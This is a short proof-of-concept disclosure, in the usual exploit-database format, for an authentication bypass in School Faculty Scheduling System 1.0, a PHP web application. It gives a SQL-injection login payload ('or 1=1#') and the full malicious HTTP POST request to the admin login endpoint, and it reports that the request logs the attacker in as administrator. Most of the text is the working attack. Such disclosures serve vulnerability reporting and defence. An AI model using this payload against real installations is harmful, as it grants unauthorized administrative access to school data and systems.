School Faculty Scheduling System 1.0 - Authentication Bypass POC

# Exploit Title: School Faculty Scheduling System 1.0 - Authentication Bypass
# Date: 21/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14535/school-faculty-scheduling-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14535&title=School+Faculty+Scheduling+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

Step 1: Open the URL http://localhost/schoolFSS/scheduling/admin

Step 2: use payload jyot' or 1=1# in user and password field

Malicious Request

POST /schoolFSS/scheduling/admin/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 55
Origin: http://localhost
Connection: close
Referer: http://localhost/schoolFSS/scheduling/admin/login.php
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re

username=jyot'+or+1%3D1+%23&password=jyot'+or+1%3D1+%23

Step 3: You will be logged in as admin.